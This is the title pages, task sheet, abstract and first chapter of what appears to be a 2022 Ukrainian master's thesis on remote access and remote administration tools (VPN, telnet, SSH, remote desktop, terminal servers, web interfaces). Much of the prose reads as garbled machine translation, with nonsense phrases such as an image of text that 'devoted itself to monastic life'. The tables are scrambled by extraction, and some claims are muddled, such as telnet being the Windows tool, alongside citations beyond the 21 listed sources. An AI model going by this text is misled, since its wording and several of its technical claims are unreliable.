You are on page 1of 60

ДЕРЖАВНИЙ УНІВЕРСИТЕТ ІНТЕЛЕКТУАЛЬНИХ ТЕХНОЛОГІЙ І

ЗВ’ЯЗКУ

Факультет Інформаційних технологій та кібербезпеки


Кафедра інженерії програмного забезпечення

Пояснювальна записка
до кваліфікаційної роботи
другого (магістерського) рівня
за освітньо-професійною програмою підготовки

на тему РОЗРОБКА ТА ДОСЛІДЖЕННЯ ПРОГРАМНОГО


АДМІНІСТРУВАННЯ ФІЛІЄЮ ПІДПРИЄМСТВА

Виконав: студент 2 курсу, групи IПЗ-6.1.02


спеціальності
121 Інженерія програмного забезпечення
Лімаренков К.М______
Керівник Панченко Б.Є. ___
Рецензент ____С.В. Сідень___________
Одеса – 2022 р.

ДОВІДКА

кафедри IПЗ про виконану магістерську роботу

студента 2 курсу факультету IТК групи IПЗ-6.1.01

Лiмаренкова Костянтина Максимовича

на тему: «Розробка та дослідження програмного адміністрування філією підприємства»

Висновок нормоконтролера: Оформлення відповідає вимогам «Положення ДУІТЗ» 2021 року.

Нормоконтролер К.т.н., доц. ,16.12.2022 Калініна Т.О.


(науковий ступінь, вчене звання) (підпис, дата) (ініціали, прізвище)

Висновок відповідального за наявність академічного плагіату: Відсоток власного матеріалу


складає %

Відповідальна особа
(науковий ступінь, вчене звання) (підпис, дата) (ініціали, прізвище)

Попередня експертиза (захист) магістерської роботи


(бакалаврської роботи, магістерської роботи)
студента Лімаренкова К. М. проведена «16» грудня 20 22 р.
(прізвище, ініціали)

Висновки:

Члени комісії:
(підпис, дата) (науковий ступінь, вчене звання, прізвище, ініціали)

(підпис, дата) (науковий ступінь, вчене звання, прізвище, ініціали)

(підпис, дата) (науковий ступінь, вчене звання, прізвище, ініціали)


ДЕРЖАВНИЙ УНІВЕРСИТЕТ ІНТЕЛЕКТУАЛЬНИХ ТЕХНОЛОГІЙ І ЗВ’ЯЗКУ

Факультет Інформаційних технологій та кібербезпеки


Кафедра Інженерії програмного забезпечення
Рівень вищої освіти другий (магістерський)
Галузь знань 12 Електроніка та телекомунікації
Спеціальність 121 Інженерії програмного забезпечення

ЗАТВЕРДЖУЮ
В.о. завідувача кафедрою ІПЗ
д.ф-м.н., проф.
_____________Б.Є. Панченко
“ ” 20 року

ЗАВДАННЯ
НА МАГІСТЕРСЬКУ РОБОТУ СТУДЕНТУ

Лімаренкову Костянтину Максимовичу

1. Тема роботи Програмні засоби системного адміністрування філії


підприємства керівник роботи д.ф.-м.н., проф. Панченко Б.Є.
затверджені наказом закладу вищої освіти від 21.10.2022 №01-07-181

2. Строк подання студентом роботи 14.12.2022р

3. Вихідні дані до роботи _Література та нормативна документація з теми


магістерської роботи,

4. Зміст розрахунково-пояснювальної записки

1) методи віддаленого доступу


2) засоби віддаленого доступу
3) аналіз програмних засобів видаленого адміністрування
4) разробка програми адміністрування філії підприємства

5. Перелік графічного матеріалу (з зазначенням обов’язкових

креслень) Слайд 1 - Класифікація систем віддаленого

керування
Слайд 2 - Майстер налаштування сервера маршрутизації та віддаленого
доступу
Слайд 3 - Встановлення нового VPN-з'єднання
Слайд 4 - Активна ssh-сесія у PuTTY
Слайд 5 – Лістинг програми

6. Консультанти розділів роботи


Підпис, дата
Прізвище, ініціали та
Розділ завдання завдання
посада консультанта
видав прийняв

7. Дата видачі завдання 25.11.21

КАЛЕНДАРНИЙ ПЛАН

№ Строк виконання
Назва етапів магістерської роботи Примітка
з/п етапів роботи
1 Розроблення плану дипломного проекту, ознайомлення з 22.10.2022
літературними джерелами за темою –
25.10.2022
2 Аналіз предметної області магістерської роботи 26.10.2022

30.10.2022
3 Специфікація вимог до системи 01.11.2022
–03.11.2022
4 Проектування програмної системи 4.11.2022 –
11.11.2022
5 Розроблення програмної реалізації проекту системи 11.11.2022

21.11.2022
6 Тестування та опис функціонування системи 21.11.2022

01.12.2022
7 Перевірка чернетки магістерської роботи та внесення змін 03.12.2022 –
керівником 05.12.2022
8 Перевірка якості роботи в системі «Антиплагіат» 06.12.2022

9 Оформлення дипломного проекту 07.12.2022

Студент Лімаренков К.М


(підпис)

Керівник роботи Панченко Б.Є.


(підпис)
РЕФЕРАТ

Текстова частина магістерської роботи: 56 с., 13 рис., 9 табл., 2 додатка, 21


джерело

СТВОРЕННЯ ПРОГРАМИ ДЛЯ ВІДДАЛЕНОГО АДМІНІСТРУВАННЯ,


ПРОГРАМА, ПІДПРИЄМСТВО, VISUAL STUDIO, ПРОГРАМУВАННЯ С#,
ІНТЕРФЕЙС, MYSQL

Об’єкт дослідження – Технології віддаленого доступу.

Мета роботи – проведення огляду технологій та методів віддаленого доступу


різного типу та призначення, розробка програми для віддаленого адміністрування
філії підприємства.

Метод дослідження – аналітичний і практичний використанням комп’ютерних


технологій.

Магістерська робота присвячена створення програми для віддаленого


адміністрування, в тому чеслі системного на підставі платформної програми
TightVNC.
Розроблена програма створювалася в інтегрованому середовищі розробки
програмного забезпечення Visual Studio, з використанням мови С#. Для
заповнення бази користувачів використовує програму DBeaver, яка створена
мовою Java, також використовується для зберігання даних вільна реляційна
система управління базами даних MySQL.
Дана програма може бути інтегрована і використовуватись на будь-якому
підприємстві.

Умови отримання магістерської роботи: за дозволом проректора з


навчальної роботи ДУІТЗ.
ЗМІСТ

ВСТУП…………………………………………………………………………….. 9
1МЕТОДИ ВІДДАЛЕНОГО ДОСТУПУ………………………………...……… 11
1.1Загальні відомості про віддалений доступ…………………………………… 11
1.2 Доступ до віддаленої мережі…………………………………………………. 13
1.2Виконання команд на віддаленій системі……………………………………. 15
1.3Інтерактивне керування віддаленою операційною системою………………. 19
1.4Термінальний режим роботи………………………………………………….. 19
1.6 Доступ та керування через веб-інтерфейс…………………………………… 21
2 ЗАСОБИ ВІДДАЛЕНОГО ДОСТУПУ………………………………………… 23
2.1 Доступ до віддаленої мережі за допомогою VPN…………………………… 23
2.2 Доступ до віддаленого робочого столу……………………………………… 29
3 АНАЛІЗ ПРОГРАМНИХ ЗАСОБІВ ВИДАЛЕНОГО
34
АДМІНІСТРУВАННЯ…………………………………………………………….
3.1 Radmin………………………………………………………………….……… 36
3.2 Ammyy Admin………………………………………………………………… 37
3.3 Remote Master…………………………………………………………………. 37
3.4 TeamViewer……………………………………………………………………. 38
4 РАЗРОБКА ПРОГРАМИ АДМІНІСТРУВАННЯ ФІЛІЇ ПІДПРИЄМСТВА.. 41
4.1 Вибір засобів для розробки програми……………………………………….. 41
4.2 Моделювання програми………………………………………………………. 47
4.3 Опис програми………………………………………………………………… 49
ВИСНОВКИ ТА РЕКОМЕНДАЦІЇ…………………….……………………..…. 53
ПЕРЕЛІК ДЖЕРЕЛ ПОСИЛАННЯ……..………………………………………. 54
Додаток А ПЕРЕЛІК КОПІЙ ДЕМОНСТРАЦІЙНОГО МАТЕРІАЛУ……….. 57
Додаток Б ЛІСТИНГ ПРОГРАМИ……………………………………………… 58
ВСТУП

Ще недавно під віддаленим доступом мали на увазі необхідність


створення нових засобів комунікації або нетрадиційного використання вже
існуючих ліній для зв'язку об'єктів, що знаходяться один від одного на деякому
віддалені. Останнім часом під віддаленим доступом найчастіше мається на увазі
технологія взаємодії мереж або пристроїв з метою надання ресурсів мережі або
пристрою у користуванні іншому пристрої або іншій мережі. При цьому
передбачається, що всі необхідні фізичні канали зв'язку вже існують, і питання
зводиться лише до логічного взаємодії мереж чи пристроїв.
Прикладом використання віддаленого доступу до мережі, можливо,
випадок, коли співробітник організації, який перебуває у відрядженні,
використовуючи мережу Інтернет, отримує доступ до мережі та ресурсів своєї
організації, також підключеної до Інтернету. Часто буває так, що доступ
здійснюється не до мережі, а до будь-якого пристрою або сервісу цієї мережі з
метою управління цим пристроєм. У цьому випадку говорять про «віддалене
управління» - таку модель віддаленого доступу, згідно з якою одна система
керує роботою іншої системи та отримує результати цієї роботи [2, 3].
Віддалене управління дуже поширене у сфері інформаційних технологій,
і використовується адміністраторами для конфігурації та налаштування
серверів, операторами техпідтримки для надання допомоги користувачам
налаштування комп'ютерів, самими користувачами для доступу до своїх
комп'ютерів здалеку і так далі. Ще одним різновидом віддаленого доступу є
«термінальний доступ», де основною ідеєю стає використання одного
потужного комп'ютера як сервер додатків, і безліч інших комп'ютерів як його
термінальних клієнтів. При термінальному доступі один сервер обслуговує
відразу кілька користувачів, а самі користувачі у своїй можуть отримувати
щодо нього доступ із різних ЕОМ, розташованих далеко друг від друга.
Оскільки віддалений доступ дозволяє виконувати великий обсяг робіт з
ЕОМ без необхідності присутності у самої ЕОМ, то він заслужено набуває все
10

більшої і більшої популярності. І чим більше мереж та комп'ютерів


підключаються до загальнодоступних ліній комунікацій, тим частіше та
активніше використовується віддалений доступ. Використання віддаленого
доступу дозволяє заощадити час і тому затребуване безліччю компаній та
організацій. Ринок програмного забезпечення, у свою чергу, також пропонує
деякі рішення, різні за можливостями, областями застосування та за умовами
експлуатування.
Існують різні методи і засоби віддаленого доступу, реалізація яких
залежить від завдань, що покладаються на них, а також від умов, в яких їх
передбачається експлуатувати. Наприклад, деякі засоби віддаленого управління
дозволяють тільки виконувати команди на віддаленій системі, у той час як інші
засоби можуть забезпечити повну інтерактивну взаємодію з віддаленою
операційною системою. Деякі з цих засобів можуть бути легко встановлені та
налаштовані звичайним користувачем персонального комп'ютера, а деякі
вимагають спеціальних знань.
Об'єкт дослідження
- технології віддаленого доступу.
Предмет дослідження
- методи та засоби віддаленого доступу.
Мета роботи
- проведення огляду технологій та методів віддаленого доступу різного
типу та призначення, розробка програми для віддаленого адміністрування філії
підприємства.
Завдання, що вирішуються у цій роботі:
- розглянути основні поняття та визначення;
- провести огляд засобів та методів віддаленого доступу, найбільш
популярних рішень щодо надання послуг віддаленого доступу;
- створити додаток, програми для віддаленого адміністрування філії
підприємства.
У першій частині роботи представлені загальні відомості про методи та
способи віддаленого доступу, позначені найбільш популярні продукти та
рішення. У другій частині подані докладні відомості про ці продукти. Третя
частина присвячена розробці та створенню демонстраційної програми, що
дозволяє виконувати системні команди підключеного клієнта.
11

1 МЕТОДИ ВІДДАЛЕНОГО ДОСТУПУ

1.1 загальні відомості про віддалений доступ

Віддалений доступ - мережна технологічна взаємодія забезпечення


абонентських систем (клієнти) з локальними мережами через мережу зв'язку
інфраструктури різного рівня. Служба віддаленого доступу дозволяє
передплатникам мережі, наприклад, співробітникам, які перебувають у
відрядженні, щоб бути з'єднаними з LAN головного офісу за допомогою
нормальних телефонних ліній. І у використанні технологічної VPN, віддалений
доступ, можливо, реалізувати Інтернет через мережу. Ці можливості
забезпечуються за допомогою сервера віддаленого доступу - комп'ютер, що має
мережне з'єднання і здатний прийняти введення з'єднань на протоколі PPP.
Служба віддаленого доступу представляє два режими роботи: віддалений
доступ до керування мережею та дистанційного керування. Для реалізації обох
режимів сервер повинен підтримувати функції маршрутизації, які
перенаправляються від зовнішнього інтерфейсу, до якого передплатник
з'єднується у внутрішньому інтерфейсі з локальною мережею, і це є зворотним.
З цієї причини у Windows ОС служби віддаленого доступу та маршрутизації
об'єднуються у загальних послугах - Маршрутизація та Служба Віддаленого
доступу (RRAS).
Режим «віддалений доступ до мережі» дозволяє віддаленим клієнтським
користувачам бути з'єднаними з серверами та робочими станціями локальної
мережі, як, якщо вони були відразу з'єднані. Тобто, у цьому режимі систему
віддаленого абонента розглядають як еквівалентну робочу станцію LAN [18].
"Дистанційне керування" режим дозволяє віддаленим клієнтським
користувачам керувати роботою сервера або робочої станції, яка була включена
до локальної мережі. Робота в дистанційному управлінні режим відповідає
клієнт-серверній моделі сервер терміналів
Віддалений комп'ютер (віддалений вузол) - сервер, фізично виділений
певній відстані від клієнта та доступу, якого (для клієнтів) можливо лише у
мережі.
12

Віддалений доступ отримана популярність після Інтернету та інших


загальних каналів передачі даних стала більш доступною обидва кінцевих
користувача та організації, почав використовувати ці канали ширше. У цій
роботі один з наступних типів взаємодії віддалених систем буде матися на увазі
віддаленим доступом:
- отримання доступу до віддаленої мережі;
- виконання команд у віддаленій системі;
- інтерактивне керування віддаленої операційної системи;
- термінальний режим роботи;
- управління через веб-інтерфейс.
У всіх випадках, сформульованих вище взаємодії між віддаленими
пристроями, виконується на транспортному рівні мережної моделі ВОС. Таким
чином, зазвичай протокол TCP, іноді UDP використовується. Транспортний
рівень використовується для передачі даних між керованими та керуючими
системами. Системи для отриманої інтерпретації та формування відправлених
даних використовують прикладний рівень мережевої моделі. На цьому рівні
протоколи, які дозволяють програмі додатків в операційній системі, однозначно
інтерпретувати дані, що беруть участь у роботі обміну. Додатки, які будуть
взаємодіяти в мережі, повинні мати протокол, який повністю підтримується
всіма учасниками взаємодії. Такі протоколи формуються розробниками
програми залежно від цілей та завдань, у яких це, як передбачається,
використовує ці програми [19].
Дистанційне управління приймає взаємодію, принаймні, дві системи -
керований та керуючий директор.
Присутність принаймні три події також призначаються:
- встановлення з'єднання між системами;
- відправлення, керуючи системою будь-якої команди;
- Виконання цієї команди на керованій системі.
Як правило, з'єднання ініціюється стороною управління, однак це не є
обов'язковою вимогою. Крім того, в більшості випадків керована система також
виконується, команда також повідомляє стороні управління про результати
продуктивності цієї команди. Сторона управління, спостерігаючи результати
роботи, може виправити дії.
13

Віддалений доступ також має на увазі присутність двох систем. Зазвичай


це локальна мережа підприємства та віддалений комп'ютер співробітника,
з'єднаного з мережею Інтернет або інша мережа, доступна для обох систем.
Також є чотири події, характеристика випадків віддаленого доступу в мережі:
- встановлення з'єднання віддаленого користувача з організаційним
сервером;
- ідентифікація;
- аутентифікація користувача (перевірка автентичності);
- авторизація користувача (умова доступу до мережевих ресурсів).
Часто одночасне використання віддаленого доступу та дистанційне
керування мають місце, наприклад системний адміністратор з дому спочатку
отримує доступ до організаційної мережі, і потім, вже маючи доступ,
з'єднується з будь-яким сервером організації та здійснює керування цим.
Необхідно сказати також, що важко однозначно визначити край між
використанням ресурсів та управлінням даними ресурсами. Наприклад, читання
інформації від бази даних SQL-сервера з одного боку є використанням ресурсів,
з іншого передача до SQL-серверу команд на вибірку даних, яку тоді виконує,
повертаючи результат. Це від рівня користувача можна розглянути, оскільки
використання прикладного рівня може дивитися як управління. Також
інтерактивна взаємодія з робочим столом віддаленого ОС передбачає
можливість віддаленого виконання команд і роботи з термінальними сеансами,
термінальний доступ є безліччю взаємодії з робочим столом, і віддалене
виконання команд може використовуватися для управління операційною
системою. Таким чином, спільне використання на типах взаємодії є більш
швидким умовним виразом і вводиться в ядрі для зручності. Дане спільне
використання допомагає визначити у відмінностях тих чи інших методів
віддаленого доступу та висвітлити їхнє основне місце призначення [4].

1.2 доступ до віддаленої мережі

Вільна англомовна електронна енциклопедія Вікіпедія, яка нумерує


приблизно 2,5 мільйона статей, робить таке визначення віддаленого доступу:
«Назвіть віддалений доступ у телекомунікаційній службі проблем передачі
14

даних від віддаленого розташування або пристрою через канали передачі. Один
із загальних методів умови даного типу віддаленого доступу є використання
VPN». У даній роботі розглянемо ситуацію, коли у віддаленого користувача
буде можливість віддаленого доступу до мережі, щоб використовувати ресурси
іншої мережі, наприклад мережі в організації. У цьому роботі розглянемо лише
логічне взаємодія віддалених систем, передбачається, що є певна третя мережу,
яка є посиланням між комп'ютером користувача і комп'ютерами організації.
Зазвичай така мережа є мережею Інтернет [16].
VPN скорочення дешифровується як "Віртуальна приватна мережа", яка
перетворюється як "Віртуальна приватна мережа". Технологічна VPN
використовується для створення однієї мережі по іншому. З його довідкою
можливо об'єднати віддалені комп'ютери в одній логічній мережі,
використовуючи, таким чином, не під каналами передачі управління. Також
з'єднання унікального клієнта до вже існуючої мережі можливе. Найчастіше для
створення віртуальної мережної інкапсуляції протоколу PPP у будь-якому
іншому протоколі використовується, нормально – в IP. Метод інкапсуляції
полягає в тому, що пакети транспортного протоколу об'єднаних мереж
упаковуються в пакети транспортного протоколу транзитної мережі і потім
розпаковуються. Таким чином, віддалений клієнтський користувач,
використовуючи транзитну мережу, стає елементом іншої мережі, які пакети є
incapsulated в транзиті. З іншого боку від віддаленого клієнтського користувача
є сервер VPN, завдання якого прийняти з'єднання клієнта, ідентифікувати та
конфігурувати клієнта. Зазвичай сервер VPN резервує певний діапазон IP-адрес,
звідки згодом дає адреси у використанні з'єднаним клієнтам. Клієнт,
отримуючи адресу, стає повноправним учасником віддаленої мережі.
Вимикають клієнта, адреса, пристосована цьому, випускається і може бути дано
у використанні іншим клієнтам [9].
VPN рішень може бути класифікована на кількох основних параметрах,
що виводяться на екран у таблиці 1.
Широко поширене рішення є використання VPN для створення захищеної
15

мережі на основі програмного забезпечення для умови віддаленого доступу.


Цей підхід також часто застосовується постачальниками послуг Інтернету до
умов служби доступу до Інтернету. Віддалити клієнтських користувачів, що
з'єднуються з сервером VPN провайдера, дістаються до його внутрішньої
мережі, а потім і в мережі Інтернет.

1.3 виконання команд на віддаленій системі

Різноманітність дистанційного керування є ситуацією, коли один


пристрій мережі виконує команди, отримані з іншого пристрою. Керований
пристрій, як правило, повідомляє результати виконання команди до пристрою
приведення в дію тому, користувач або системний адміністратор можуть
ознайомити і виправити подальші дії з цими результатами. У цьому методі
взаємодії призначається, що у віддаленій системі або пристрої програма,
названа сервером, який приймає, запускає з'єднання служб інших програм,
названих клієнтами. Клієнт і сервер, таким чином, використовують у роботі той
самий протокол [6].
Системи віддаленого виконання команд можуть бути класифіковані на
основні параметри, які виводяться на екран у таблиці 2 .
Для систем Windows найпоширенішим є рішення з використанням
програм, що виконують системні команди рівня, передані з чітким і наступним
скиданням результату виконання команд. Для операційних систем Linux
основна відмінність на даних точках полягає в тому, що дані не передаються
відкритим текстом, і заздалегідь зашифровуються. Популярність таких рішень
вже говорить про те, що в даних операційних системах є програми,
реалізовуючи можливість віддаленого виконання команд. Для систем Windows
ця програма «telnet», і для Linux/Unix – програма «ssh». Дані програми
реалізують "протоколи TELNET з тим самим ім'ям (Мережа зв'язку) і "SSH"
(Безпечна Оболонка).
Хоча в сесії Telnet виділяють клієнтську та серверну сторону, протокол
насправді повністю симетричний. Після встановлення транспортного
16
сполучення (як правило, TCP) обидва його кінці відіграють роль "мережевих
віртуальних
17

терміналів" (англ. Network Virtual Terminal, NVT), що обмінюються двома


типами даних:
 прикладными данными (тобто. даними, які йдуть від користувача до
текстової програми на стороні сервера та назад);
 опціями протоколу Telnet, що служать для з'ясування можливостей та
переваг сторін.
Прикладні дані проходять через протокол без змін, тобто. на виході
другого віртуального терміналу ми бачимо те, що було введено на вхід
першого. У протоколі не передбачено
використання ні шифрування, ні автентифікації даних.
Тому він уразливий для будь-якого виду атак, яких
вразливий його транспорт, тобто. протокол TCP.
SSH подібний за функціональністю з протоколами Telnet і rlogin, але, на
відміну від них, шифрує весь трафік, включаючи і паролі, що передаються. SSH
припускає вибір різних алгоритмів шифрування. SSH-клієнти та SSH-сервери є
для більшості операційних систем.
SSH дозволяє передавати через небезпечний канал практично будь-який
інший мережевий протокол, таким чином, можна не лише віддалено працювати
на комп'ютері через командну оболонку, але й передавати шифрованим
каналом звуковий потік або відео (наприклад, з веб-камери). Також, SSH може
використовувати стиснення даних, що передаються для подальшої їх шифрації.
Під час роботи з програмами "telnet" або "ssh" говорять про роботу з
віддаленою консоллю або про віддалений доступ до інтерфейсу командного
рядка. Інтерфейс командного рядка протиставляється системам керування
програмою на основі меню, а також різним реалізаціям графічного інтерфейсу.
Інтерфейс командного рядка використовується у випадках, коли робота з
графічним інтерфейсом або неможлива, або недоцільна. Наприклад, Unix-
системи можуть мати графічного інтерфейсу, інколи ж наявність цього
інтерфейсу у разі віддаленого управління є надлишковим і невиправданим [2].

1.4 інтерактивне керування віддаленою операційною системою

У випадках, коли потрібно надати підтримку віддаленому користувачеві


або зробити деяку роботу з програмами, що використовують графічний
18

інтерфейс, використовуються такі методи віддаленого доступу, які дозволяють


відобразити екран керованої системи на екрані системи керування. Всі зміни,
що здійснюються на керованій системі, автоматично відображаються і на
керуючій, як і навпаки. Натискання та переміщення миші, текст та команди, що
вводяться з клавіатури, зміни, що відбуваються на екрані – все це
синхронізується між двома віддаленими системами. При достатньої пропускної
спроможності каналу, який використовується для зв'язку цих систем, виникає
ситуація, коли адміністратор нібито присутній безпосередньо за віддаленою
робочою станцією або сервером. Цей тип віддаленого доступу також
називається віддаленим керуванням робочим столом.

Таблиця 1.1 - Класифікація систем віддаленого керування робочим столом


Класифікація за типами
Системи
дистанційного
керування
робочим Назва Опис
столом можна
класифікувати
за такими

Передача З віддаленої системи виходить знімок екрана, який потім без змін
передається на керуючу систему. Цей спосіб простий у реалізації, але
зображення
дуже вимогливий до пропускної спроможності мережі та
«Як є» обчислювальних ресурсів систем.
Передача тільки Після того, як один раз було передано повне зображення екрана, надалі
За способом
ділянок передаються лише ті його ділянки, вміст яких було змінено. Це
передачі
зображення, дозволяє суттєво економити пропускну здатність каналу та
зображення
обчислювальні ресурси систем.
екрану
що змінюються
Цей спосіб відрізняється від попереднього тим, що користувач або
Система передачі адміністратор можуть вибрати спосіб передачі зображення,
змінних ділянок, наприклад зменшити кількість кольорів, частоту синхронізації кадрів
що налаштовується або алгоритм стиснення зображення. Це дозволяє використовувати
канали
передачі з невеликою пропускною спроможністю.
За способом Запускаються Автозапуск засобів дистанційного керування екраном
запуску на автоматично використовується, найчастіше, для серверів або робочих станцій, які
віддаленій повинні контролюватись адміністратором і не вимагають присутності
системі користувача у керованої системи.
За способом Запускаються на Кошти, що запускаються на вимогу,
запуску на вимогу або за використовуються, як правило, для надання
віддаленій згодою
технічної підтримки та разового налаштування віддалених систем у
системі
присутності користувача. Користувач або сам ініціює управління його
системою, або підтверджує свою згоду на пропозицію такого
управління.
19

Подовження таблиці 1.1 - Класифікація систем віддаленого керування


робочим столом Класифікація за типами
Системи
дистанційного
керування
робочим Назва Опис
столом можна
класифікувати
за такими
Дані, що передаються, додатково шифруються обома учасниками
Захищені взаємодії.
За рівнем
Шифрування провадиться власними засобами додатків.
захищеності
Дані передаються у відкритому вигляді. Для забезпечення додаткової
Довірчі безпеки необхідно попередньо організувати безпечний канал передачі
даних
Класичний і найпоширеніший спосіб, коли клієнт ініціює
підключення до сервера і, після вдалої автентичності та авторизації,
отримує управління ним. Цей випадок передбачає, що клієнт і сервер
Від клієнта
знаходяться в одній мережі або клієнт може тим чи іншим способом
За способом
отримати доступ до порту сервера, наприклад через прокидання
ініціювання
порту.
з'єднання
Якщо сервер не має прямої IP-адреси, доступного клієнту, а отримує
доступ до мережі клієнта, використовуючи трансляцію мережевих
Від сервера адрес NAT, можлива ситуація, коли сервер ініціює підключення до
клієнта, що знаходиться в режимі очікування. Після встановлення
з'єднання керування здійснюється у звичайному режимі.

Поширеними є програмні засоби віддаленого доступу до робочого столу,


які використовують систему передачі, що змінюється, змінюються ділянок
зображення і використовують довірче з'єднання. Запуск таких засобів зазвичай
відбувається в автоматичному режимі. Додаткові заходи безпеки передачі
даних потрібні не завжди як дані, хоча не зашифровуються, представляються в
графічному типі, і крім того, стискуються. Таким чином, наприклад, текст
документа, відкритого у віддаленій системі, говориться у формі частин
чернечого зображення, що присвятили себе чернечому життю, яке вже сам по
собі ускладнює несанкціонований доступ до такого тексту [7].
Необхідно відзначити також, що подібні засоби інтерактивної взаємодії з
віддаленою системою не передають звук та відеозображення через збільшені
вимоги до подібних типів даних. Це робить невідповідне використання
віддалених робочих систем, оскільки мультимедіа центрується, центри ігрових
станцій та розваг.
20

Кошти віддаленого доступу до робочого столу, як і у випадку з доступом


до віддаленої консолі, складаються з двох частин - частина клієнта та сервера.
Додаток, який обслуговує запити віддаленого клієнтського користувача,
призначається частиною сервера. Частина сервера запускається на керованій
системі, і клієнта - на директорі, що управляє. Частини фізичного клієнта та
сервера можуть бути об'єднані в одному додатку.

1.5 термінальний режим роботи

У цьому режимі використання віддаленого доступу одного потужного


комп'ютера, оскільки сервер додатків, і набори інших комп'ютерів, як його
термінальні клієнти, стають основною ідеєю. І з наступним, щоб мати
продуктивність нормальної робочої станції, з цією метою, яка дозволяє вже
використати застаріле обладнання.
В результаті з'єднання двох систем, віддалений клієнтський користувач
отримує доступ до окремого сеансу на сервері терміналів. Це як нормальний
робочий стіл при використанні персонального комп'ютера з операційною
системою Windows, де можливо створити документи, виконати додатки і
спостерігати результати їх роботи [21].
Термінальний клієнт не бере участі у додатках. Всі програми та
обчислення виробляються на сервері терміналів, і результати їх роботи лише
передаються віддаленому клієнтському користувачеві. Ці результати виводяться
на екран на екрані віддаленого клієнтського користувача, як якщо користувач,
який працював з цими програмами безпосередньо, використовуючи
нормальний персональний комп'ютер. Дії, які користувач виробляє з
клавіатурою та мишею, також передаються серверу терміналів, тому є сенсація
зручної високоякісної роботи [36].
Сервер терміналів може підтримувати одночасно набір таких сеансів, яке
обмежується тільки його обчислювальною потужністю, кількістю ліцензій, а
також пропускною здатністю мережі.
Усі сеанси незалежні друг від друга, як і раніше, що виконуються однією
фізичному комп'ютері. Кожен користувач у менеджері завдань бачить тільки
процеси, спостерігає робочий стіл, і його дія не впливає на інших користувачів,
які нині поєднані з терміналом.
21

Таблиця 1.2 - Способи реалізації тонких клієнтів


Спосіб Опис
реалізації

Додаток, що у ролі клієнта термінального сервера, запускається поруч


Звичайний із іншими додатками операційної системи. Наприклад, у системі Windows 10
додаток клієнт для термінального сервера Microsoft вже є і може бути
запущений через меню програм або прямим викликом файлу
«mstsc.exe».

У разі для термінального клієнта виділяється комп'ютер, який


передбачається використовувати лише роботи з термінальним сервером.
Як
Виділена
правило, він не є потужним та продуктивним, оскільки для термінальних
станція
клієнтів цього не потрібно. На нього встановлюється операційна система
(персональний
(зазвичай Linux-система), в мінімальній комплектації, достатньої лише для
комп'ютер)
запуску програми (наприклад, Rdesktop), яка буде безпосередньо взаємодіяти
із термінальним сервером. Операційна система при цьому може
завантажуватися з компакт-диска, жорсткого диска або може бути
реалізована завантаження через мережу, тобто дана робоча станція може
бути бездисковою.
Апаратна реалізація тонкого клієнта включає всі переваги
звичайного ПК, але позбавлена їх недоліків. Термінальний клієнт
виконується в
Апаратна окремому корпусі, який має набагато менший, у порівнянні з корпусом
реалізація звичайного комп'ютера, розмір, що не містить вентиляторів, відсіків для
кріплення CD-ROM, FDD тощо. Корпус так само не містить механічних
частин, що рухаються, тому не робить шуму при роботі. Такі пристрої
можна віднести до категорії «необслуговуваних», оскільки час
напрацювання на відмову багаторазово збільшується. Такі клієнти краще
підходять для роботи в агресивних середовищах із підвищеною
температурою та запиленістю.

Ще одна особливість роботи в термінальному режимі - те, що сеанс


користувача може бути збережений, і у разі вимикають віддаленого
клієнтського користувача від сервера терміналів. Після повторного з'єднання,
можливо, продовжувати роботу з вже ініційованими програмами та відкритими
документами.
22

Комп'ютер, який приймає термінальні з'єднання клієнтів і виконує роль


сервера додатків, називають «термінальним сервером». Це - потужний та
продуктивний комп'ютер, здатний виконати одночасно значну кількість
завдань, які можуть вимагатися віддалити користувачів. Віддалений клієнт, що
підключається до сервера терміналів, називається термінальним клієнтом або
тонким клієнтом.
Існують три основні способи реалізації тонких клієнтів, які відображені у
таблиці 1.2 [8].
Нормальний термінальний режим роботи реалізується і використовується
з метою збереження коштів, які інакше були б витрачені для купівлі
високоякісних робочих станцій та програмного забезпечення для них, а також
спрощення адміністрування та скорочення витрат на обслуговування техніки в
робочому стані. Термінальний режим роботи має ряд переваг, і брак
обмеження, що стосується неможливості як приклад використання кінцевих
станцій для роботи з відео та аудіо зображеннями, а також для сучасних 3-D
ігор. Використання терміналів є частим, приймає встановлення та коригування
додаткових мережних служб зайнятих попередньою конфігурацією мережевих
адаптерів худих клієнтів та надання їм мережевих зображень для того, щоб
завантажитись. У цьому випадку завантаження процесу, конфігурування та
з'єднання віддалених термінальних клієнтів до сервера можуть бути повністю
автоматизовані [5].

1.6 доступ та керування через веб-інтерфейс

Іноді інтерфейс користувача, який взаємодіє з віддаленою системою,


може бути реалізований за допомогою веб-серверів. У цій ситуації веб-браузер
буде клієнтом сервера, який управляє системою, яку користувач запускає на
комп'ютері. У цьому випадку говоріть про "додаток", ситуація, коли сервер
виконує команди та інструкції, яким повідомляє воно за допомогою браузера.
Програма В. Логіка веб-програми концентрується на сервері, і функція браузера
полягає в ядрі у відображенні інформації, завантаженому в мережі від сервера,
та передачі reversely, даного користувача. Одна з переваг такого підходу - те,
що клієнти не залежать від певної операційної системи користувача, і веб-
додатків, таким чином, є міжплатформні служби. Браузери, по черзі, фактично
завжди є частиною операційних систем тому користувач не повинен
встановлювати собі на комп'ютер додаткові програми [39].
23

Під час взаємодії веб-програма отримує запит від клієнта та виконує


обчислення після того, як це формує веб-сторінку та передається її клієнту в
мережі з використанням протоколу HTTP. Веб-програма може представити
себе як клієнт інших служб, наприклад, бази даних або іншого веб-програми,
виділеного на іншому сервері.
Можна виділити три основні принципи організації роботи веб-
застосунків, які відображені в таблиці 1.3.

Таблиця 1.3 - Принципи роботи веб-додатків


Принцип організації Опис

Використання стандартних Використовуються лише стандартні специфікації, такі як HTML та CSS, які
функцій браузера розуміються всіма браузерами.

Підхід полягає у використанні Adobe Flash або Java аплетів для


повної або часткової реалізації аінтерфейсу користувача. Оскільки вони
Використання Adobe Flash або
Java аплетів надають програмісту більший контроль над інтерфейсом, це допомагає
обходити багато несумісності у конфігураціях браузерів.
Новий підхід, що набирає популярності останнім часом. При використанні
Ajax сторінки веб-програми не перезавантажуються повністю, а лише
Використання технології Ajax
довантажують необхідні дані з сервера, що робить їх більш інтерактивними
та продуктивними.

Управління через веб-інтерфейс є досить поширеним. Поштові сервіси


дозволяють користувачам працювати з поштою за допомогою браузера,
постачальники Інтернет-послуг за допомогою веб-додатків надають своїм
клієнтам можливості отримання інформації про рахунок та зміни тарифного
плану, оператори стільникового зв'язку часто реалізують механізми віддаленого
керування послугами зв'язку тощо. Різне мережеве обладнання також часто
керується через веб-інтерфейс [15].
24

